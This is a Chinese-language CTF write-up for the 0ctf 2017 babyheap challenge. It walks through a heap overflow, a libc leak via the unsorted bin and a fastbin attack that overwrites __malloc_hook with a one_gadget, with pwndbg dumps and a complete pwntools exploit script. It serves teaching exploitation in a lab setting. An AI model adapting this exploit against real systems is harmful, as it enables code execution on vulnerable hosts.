0%

0ctf_2017_babyheap详解

本文主要列出0ctf_2017_babyheap的详细过程

主要参考:https://bbs.pediy.com/thread-223461.htm

程序流程

  1. allocate:申请size大小的块
  2. fill:对idx的块,设置size,并填入content
  3. free:释放idx的块
  4. dump:打印idx的块内容

漏洞分析

fill中的size可以重新设置,故可以造成堆溢出。

方法:fastbin attack

  1. double free泄露libc

    【small/large chunk释放,fd和bk指向main_arena】

  2. fastbin attack写malloc_hook为one_gadget

详细过程

1.保护

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap 
[*] '/home/winter/buu/0ctf_2017_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.申请初始块

四个0x10、一个0x80

第0个块作用:方便修改第1、2块

第3个块作用:方便修改0x80的块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000

3.释放1、2块

为double free做准备,其中 块2指向块1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
fd: 0x00

#2
#指向块1,先进后出
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6020

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6020 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000

4.令释放块2指向块4

通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000

5.为绕过检测,修改块4:0x80->0x10

溢出实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000021
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000

修改成功,但是由于chunk4的大小修改了,故找不到top chunk了,故后期需要把大小:0x10->0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6080

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

通过溢出,成功修改了chunk2指向chunk4,导致未释放的chunk4加入到了bin中,重新allocate,导致idx=2、4都为同一个块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

6.重新申请回两个块

1、2、4

释放:块1->块2

修改:块2->块4

重新申请:块4->块2(idx1->idx2)

  • 原块1直接释放态->allocate态
  • 原块2->idx1
  • 原块4->idx2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

#先进后出
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

7.重新修改chunk4:0x10->0x80

为了让top chunk重新找得到,故需要重新讲chunk4的大小修改回0x80,以便于之后申请操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#2、4
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1

8.申请一个块,防止块4free与top chunk合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

#alloc(0x80)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

9.释放chunk4

因为此时idx2、4都指向chunk4,故可以释放chunk4,此时它里面会填入main_arena中地址,可以计算得到libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

10.打印idx2(即idx4内容)

1
2
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

11.申请0x60的块

新块的idx为4(把idx4给了分配的块,为分配的0x21没有idx)

切割0x91的块,剩下0x21放入了unsortedbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

12.释放0x60的块

再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x00

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

13.修改idx2的内容,为malloc_hook附近构造chunk的地址

需要改地址,有fastbin大小的八字节数字,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#payload = p64(libc_base+0x3c4aed)
#fill(2, payload)

pwndbg> x/30gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000071
0x5614ee1f6090: 0x00007f6a86e67aed 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x7f6a86e67aed#修改后的地址

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
#接下来申请两遍,即可得到0x7f6a86e67aed地址的块,可以对0x7f6a86e67aed进行数据读写
0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty

14.申请回第一个0x60块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61


pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty


pwndbg> x/30gx 0x7f6a86e67aed
0x7f6a86e67aed <_IO_wide_data_0+301>: 0x6a86e66260000000 0x000000000000007f
0x7f6a86e67afd: 0x6a86b28ea0000000 0x6a86b28a7000007f
0x7f6a86e67b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f6a86e67b1d: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b4d <main_arena+45>: 0x6a86e67aed000000 0x000000000000007f
0x7f6a86e67b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b6d <main_arena+77>: 0x0000000000000000 0x14ee1f61a0000000
0x7f6a86e67b7d <main_arena+93>: 0x14ee1f60f0000056 0x14ee1f60f0000056
0x7f6a86e67b8d <main_arena+109>: 0x14ee1f60f0000056 0x6a86e67b88000056
0x7f6a86e67b9d <main_arena+125>: 0x6a86e67b8800007f 0x6a86e67b9800007f
0x7f6a86e67bad <main_arena+141>: 0x6a86e67b9800007f 0x6a86e67ba800007f
0x7f6a86e67bbd <main_arena+157>: 0x6a86e67ba800007f 0x6a86e67bb800007f
0x7f6a86e67bcd <main_arena+173>: 0x6a86e67bb800007f 0x6a86e67bc800007f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x00007f6a86b28ea0 0x00007f6a86b28a70
0x7f6a86e67b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b10 <__malloc_hook>: 0x00007f6a86ae826a 0x0000000000000000
0x7f6a86e67b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 <main_arena+48>: 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 <main_arena+80>: 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 <main_arena+96>: 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 <main_arena+112>: 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 <main_arena+128>: 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 <main_arena+144>: 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 <main_arena+160>: 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 <main_arena+176>: 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 <main_arena+192>: 0x00007f6a86e67bc8 0x00007f6a86e67bd8

15.申请到假的chunk,修改malloc_hook->gadget

最后只要执行malloc操作,即可get shell

1
2
3
4
5
6
7
8
9
allo(0x60)
allo(0x60)

payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

p = process("./0ctf_2017_babyheap")
#p=remote("node3.buuoj.cn",25261)

context.log_level = 'debug'
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

allo(0x80)

free(4)

dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))

allo(0x60)

free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

allo(0x60)
allo(0x60)
gdb.attach(p)
pause()


payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)
# gdb.attach(p)
p.interactive()

常规的堆题流程,,,经典题目

Q:如果阅读本文需要付费,你是否愿意为此支付1元?